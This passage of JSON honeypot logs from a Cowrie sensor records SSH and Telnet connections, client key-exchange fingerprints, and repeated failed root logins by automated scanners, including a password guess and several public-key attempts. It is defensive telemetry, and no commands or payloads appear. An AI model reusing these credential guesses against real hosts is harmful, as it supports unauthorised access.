-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:55.151941Z","src_ip":"20.203.42.204","session":"896ee233292a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:56.468730Z","src_ip":"20.203.42.204","session":"896ee233292a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:43:57.630223Z","src_ip":"20.203.42.204","session":"896ee233292a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00285458564758,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:15.332785Z","src_ip":"38.211.253.121","session":"3f5b63453ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10203,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b6232c475c","protocol":"telnet","message":"New connection: 38.211.253.121:10203 (159.203.135.109:23) [session: 96b6232c475c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:15.621243Z"}
{"eventid":"cowrie.session.closed","duration":120.0014717578888,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:16.322319Z","src_ip":"38.211.253.121","session":"b27e36114a94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00152730941772,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:16.591457Z","src_ip":"38.211.253.121","session":"4a6c5f5e9996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":9912,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e19ea14dc9","protocol":"telnet","message":"New connection: 38.211.253.121:9912 (159.203.135.109:23) [session: e3e19ea14dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:17.878625Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.146","src_port":55926,"dst_ip":"10.17.0.5","dst_port":22,"session":"328e1b8ddb7e","protocol":"ssh","message":"New connection: 148.153.121.146:55926 (10.17.0.5:22) [session: 328e1b8ddb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.625730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.630219Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.672967Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:40:9a:b7:32:1c:40:e2:b2:02:98:77:f8:08:ad:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsPU6r0x2QBwoKtS1K5pXsK//leJUqBvbYuJa1y3xBLLtTGjInjhHZ6850qa1FneDlWKY41Kpsy1jCE472SnQfAJBAKQ2Ph8iiifxMz4T3nXNQMxGiN/MC41BY4GjxkQI9Cmo6mhej3zIaLbDHPro/09etu5dF1CEhc/nyojyWHjrBaUz5ATcx0PIUXtXDEd4vV9hWo2Og+T8qTGE+jGro2QG1NjU4Jr8kleIr8rS6afK//VUjjHaiQdfU55zTeHGjCyb+J5mqKR6iwFf1Z/xf9vDuktLSidPCUAkyT2J4vezdSPapN4ooyywO52H78iV6uc8yUb5vM1XIX6Z5YHir","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:40:9a:b7:32:1c:40:e2:b2:02:98:77:f8:08:ad:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.866946Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:40:9a:b7:32:1c:40:e2:b2:02:98:77:f8:08:ad:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsPU6r0x2QBwoKtS1K5pXsK//leJUqBvbYuJa1y3xBLLtTGjInjhHZ6850qa1FneDlWKY41Kpsy1jCE472SnQfAJBAKQ2Ph8iiifxMz4T3nXNQMxGiN/MC41BY4GjxkQI9Cmo6mhej3zIaLbDHPro/09etu5dF1CEhc/nyojyWHjrBaUz5ATcx0PIUXtXDEd4vV9hWo2Og+T8qTGE+jGro2QG1NjU4Jr8kleIr8rS6afK//VUjjHaiQdfU55zTeHGjCyb+J5mqKR6iwFf1Z/xf9vDuktLSidPCUAkyT2J4vezdSPapN4ooyywO52H78iV6uc8yUb5vM1XIX6Z5YHir","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.871238Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:0f:ff:b2:72:12:ad:bc:46:fb:02:61:ae:27:a0:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC51ObWKSm2XUo1wGS0y2umawJn0O1OOBoEDYZte3PyFM6UzozQwPR2qn/t96IdMmmwcYw41NMA6BLUaZHpXqu1OuQiNAkTn/g0WJ9BJE5NUbtAZ0jqigLMwE6dwdLHljbulObi4wDiYhvgjFnNtTuukSj6HvmrerdeiyxcLIcd+XdNiJPI8rV8hD3pTpB5UBBD/pyP5YFTzSRf8UEw0soJGWeyyCPT0G9bmPuvyhYB1AF+Xii7vNB6H1FkOpST5f5sgi5nzdFYHjaxfEfyV8qIOknsxZcNSMbryS6QkUtgHNSbsUe2M2aN9SHn9MVXuI+by5CLk9YyvnHdLwwFNo/3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:0f:ff:b2:72:12:ad:bc:46:fb:02:61:ae:27:a0:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.915429Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:0f:ff:b2:72:12:ad:bc:46:fb:02:61:ae:27:a0:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC51ObWKSm2XUo1wGS0y2umawJn0O1OOBoEDYZte3PyFM6UzozQwPR2qn/t96IdMmmwcYw41NMA6BLUaZHpXqu1OuQiNAkTn/g0WJ9BJE5NUbtAZ0jqigLMwE6dwdLHljbulObi4wDiYhvgjFnNtTuukSj6HvmrerdeiyxcLIcd+XdNiJPI8rV8hD3pTpB5UBBD/pyP5YFTzSRf8UEw0soJGWeyyCPT0G9bmPuvyhYB1AF+Xii7vNB6H1FkOpST5f5sgi5nzdFYHjaxfEfyV8qIOknsxZcNSMbryS6QkUtgHNSbsUe2M2aN9SHn9MVXuI+by5CLk9YyvnHdLwwFNo/3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.919199Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:cf:64:ee:78:b6:bd:80:6a:47:89:30:bb:26:82:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKP0kn5Haz338dsRP4Nr/140qIm53NB/bkwcOs0GIxForxnERTKEcYeTg3A3hPVzdYMVbfyWFnlbBKA6z6kJQJ6iqoI4fPbg9dQjkofLsfgmExaPNtnWUxJ+XhJe0s8Md87vjkgyT1CpSKTEj4JSV+FIJDeFgAhUs+nhRSrNhZ2UthDY9ybmFm7ivArHsqGFo2igX1DIfyxvb0c3bX5Ok8MrFGmWDFvAmeTbSAK6Yf1GAN1/mJxhGRWH30tgD7nbzSE4C251pWPiDQN7iiGm8nXMhKcclOXIAVAt9/bOm8cgXx4uQxnILr7EwtbYGF/dmc2k2jZknw9WFpvZDQJ7Oj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:cf:64:ee:78:b6:bd:80:6a:47:89:30:bb:26:82:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.963297Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:cf:64:ee:78:b6:bd:80:6a:47:89:30:bb:26:82:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKP0kn5Haz338dsRP4Nr/140qIm53NB/bkwcOs0GIxForxnERTKEcYeTg3A3hPVzdYMVbfyWFnlbBKA6z6kJQJ6iqoI4fPbg9dQjkofLsfgmExaPNtnWUxJ+XhJe0s8Md87vjkgyT1CpSKTEj4JSV+FIJDeFgAhUs+nhRSrNhZ2UthDY9ybmFm7ivArHsqGFo2igX1DIfyxvb0c3bX5Ok8MrFGmWDFvAmeTbSAK6Yf1GAN1/mJxhGRWH30tgD7nbzSE4C251pWPiDQN7iiGm8nXMhKcclOXIAVAt9/bOm8cgXx4uQxnILr7EwtbYGF/dmc2k2jZknw9WFpvZDQJ7Oj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:31.968467Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:9f:e0:8e:38:07:ab:94:16:99:91:d7:b7:29:c3:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpW9Prq0jxtRtajF5Ad9eosfYrCnI0HLNJiXNc1z/eReZGXTHiCFaiPh+CrbVPmC4Y0lRNkq+lvhq66GhlFTJ9q14X/Yc4tm74kJy3iwgVr5/Y+tAtA0CQOLarh4UBLW1SZBXb8+kU5W4VqWVqpFIYz4maNaumSWaeymKFFTd37o+X/yDrbNoUtVoRfMm75dPh5j4qZtMPMvwuzozW+Ic5E0SK2J2E7jdQJhNK/U7crbDfrpg7bhzylesLzWq2pP9Wl4oPYENtYzpvbDrZC+BOZPe5P6Y8kMkeHSCdJWKy448KJzU3Z4FbyTR+jIcETikFH+JqQDXzUvROsfyxMVUV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:9f:e0:8e:38:07:ab:94:16:99:91:d7:b7:29:c3:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:32.011925Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:9f:e0:8e:38:07:ab:94:16:99:91:d7:b7:29:c3:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpW9Prq0jxtRtajF5Ad9eosfYrCnI0HLNJiXNc1z/eReZGXTHiCFaiPh+CrbVPmC4Y0lRNkq+lvhq66GhlFTJ9q14X/Yc4tm74kJy3iwgVr5/Y+tAtA0CQOLarh4UBLW1SZBXb8+kU5W4VqWVqpFIYz4maNaumSWaeymKFFTd37o+X/yDrbNoUtVoRfMm75dPh5j4qZtMPMvwuzozW+Ic5E0SK2J2E7jdQJhNK/U7crbDfrpg7bhzylesLzWq2pP9Wl4oPYENtYzpvbDrZC+BOZPe5P6Y8kMkeHSCdJWKy448KJzU3Z4FbyTR+jIcETikFH+JqQDXzUvROsfyxMVUV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:32.015821Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:f9:a3:10:e3:63:ae:fb:55:66:1c:af:c9:11:d3:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsKIj6glBkZYw3TGs6EM6KAY1hjuebUesnob6b0xAMeuWqXdkR/K+DtdiEIlk+Av7mvRODz37BHs3l8Pc7ny4XolTcboC9ktIiOFkz4XvF0EzQxSz7E+citiBLhwwBbCdv6CY9wdIhtNy9UemsxtXqmwQ39e8b+ZMvco2/rfN0lMmJ3Yzg1/QbJwWSVzQZ9pKSp8gHyq3KFcsTWTWpUlW2LB7wCvDVAKVX2QZV6638ost7BvHpk/77JUJ9vArwhZt+QSWGtIp2eBiGIT6on/1pf97l6dpQoGRlvO6WX3TBEnHui4LLKsekhT+2eylx2McRAKnRYTbJlKsoXTzSJb88w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:f9:a3:10:e3:63:ae:fb:55:66:1c:af:c9:11:d3:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:32.060025Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:f9:a3:10:e3:63:ae:fb:55:66:1c:af:c9:11:d3:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsKIj6glBkZYw3TGs6EM6KAY1hjuebUesnob6b0xAMeuWqXdkR/K+DtdiEIlk+Av7mvRODz37BHs3l8Pc7ny4XolTcboC9ktIiOFkz4XvF0EzQxSz7E+citiBLhwwBbCdv6CY9wdIhtNy9UemsxtXqmwQ39e8b+ZMvco2/rfN0lMmJ3Yzg1/QbJwWSVzQZ9pKSp8gHyq3KFcsTWTWpUlW2LB7wCvDVAKVX2QZV6638ost7BvHpk/77JUJ9vArwhZt+QSWGtIp2eBiGIT6on/1pf97l6dpQoGRlvO6WX3TBEnHui4LLKsekhT+2eylx2McRAKnRYTbJlKsoXTzSJb88w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:32.064185Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:32.108880Z","src_ip":"148.153.121.146","session":"328e1b8ddb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00285983085632,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:34.331491Z","src_ip":"186.55.200.230","session":"d6b3806ad2d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.251","src_port":40008,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c071e40e7e","protocol":"ssh","message":"New connection: 209.90.232.251:40008 (10.17.0.5:22) [session: a5c071e40e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.247177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.253224Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.327411Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39814,"dst_ip":"10.17.0.5","dst_port":22,"session":"8835b26d51b3","protocol":"ssh","message":"New connection: 103.77.175.15:39814 (10.17.0.5:22) [session: 8835b26d51b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.497599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.503360Z","src_ip":"103.77.175.15","session":"8835b26d51b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:40:9a:b7:32:1c:40:e2:b2:02:98:77:f8:08:ad:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsPU6r0x2QBwoKtS1K5pXsK//leJUqBvbYuJa1y3xBLLtTGjInjhHZ6850qa1FneDlWKY41Kpsy1jCE472SnQfAJBAKQ2Ph8iiifxMz4T3nXNQMxGiN/MC41BY4GjxkQI9Cmo6mhej3zIaLbDHPro/09etu5dF1CEhc/nyojyWHjrBaUz5ATcx0PIUXtXDEd4vV9hWo2Og+T8qTGE+jGro2QG1NjU4Jr8kleIr8rS6afK//VUjjHaiQdfU55zTeHGjCyb+J5mqKR6iwFf1Z/xf9vDuktLSidPCUAkyT2J4vezdSPapN4ooyywO52H78iV6uc8yUb5vM1XIX6Z5YHir","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:40:9a:b7:32:1c:40:e2:b2:02:98:77:f8:08:ad:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.665543Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:40:9a:b7:32:1c:40:e2:b2:02:98:77:f8:08:ad:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsPU6r0x2QBwoKtS1K5pXsK//leJUqBvbYuJa1y3xBLLtTGjInjhHZ6850qa1FneDlWKY41Kpsy1jCE472SnQfAJBAKQ2Ph8iiifxMz4T3nXNQMxGiN/MC41BY4GjxkQI9Cmo6mhej3zIaLbDHPro/09etu5dF1CEhc/nyojyWHjrBaUz5ATcx0PIUXtXDEd4vV9hWo2Og+T8qTGE+jGro2QG1NjU4Jr8kleIr8rS6afK//VUjjHaiQdfU55zTeHGjCyb+J5mqKR6iwFf1Z/xf9vDuktLSidPCUAkyT2J4vezdSPapN4ooyywO52H78iV6uc8yUb5vM1XIX6Z5YHir","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.669884Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:0f:ff:b2:72:12:ad:bc:46:fb:02:61:ae:27:a0:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC51ObWKSm2XUo1wGS0y2umawJn0O1OOBoEDYZte3PyFM6UzozQwPR2qn/t96IdMmmwcYw41NMA6BLUaZHpXqu1OuQiNAkTn/g0WJ9BJE5NUbtAZ0jqigLMwE6dwdLHljbulObi4wDiYhvgjFnNtTuukSj6HvmrerdeiyxcLIcd+XdNiJPI8rV8hD3pTpB5UBBD/pyP5YFTzSRf8UEw0soJGWeyyCPT0G9bmPuvyhYB1AF+Xii7vNB6H1FkOpST5f5sgi5nzdFYHjaxfEfyV8qIOknsxZcNSMbryS6QkUtgHNSbsUe2M2aN9SHn9MVXuI+by5CLk9YyvnHdLwwFNo/3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:0f:ff:b2:72:12:ad:bc:46:fb:02:61:ae:27:a0:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.744457Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:0f:ff:b2:72:12:ad:bc:46:fb:02:61:ae:27:a0:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC51ObWKSm2XUo1wGS0y2umawJn0O1OOBoEDYZte3PyFM6UzozQwPR2qn/t96IdMmmwcYw41NMA6BLUaZHpXqu1OuQiNAkTn/g0WJ9BJE5NUbtAZ0jqigLMwE6dwdLHljbulObi4wDiYhvgjFnNtTuukSj6HvmrerdeiyxcLIcd+XdNiJPI8rV8hD3pTpB5UBBD/pyP5YFTzSRf8UEw0soJGWeyyCPT0G9bmPuvyhYB1AF+Xii7vNB6H1FkOpST5f5sgi5nzdFYHjaxfEfyV8qIOknsxZcNSMbryS6QkUtgHNSbsUe2M2aN9SHn9MVXuI+by5CLk9YyvnHdLwwFNo/3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.750943Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cer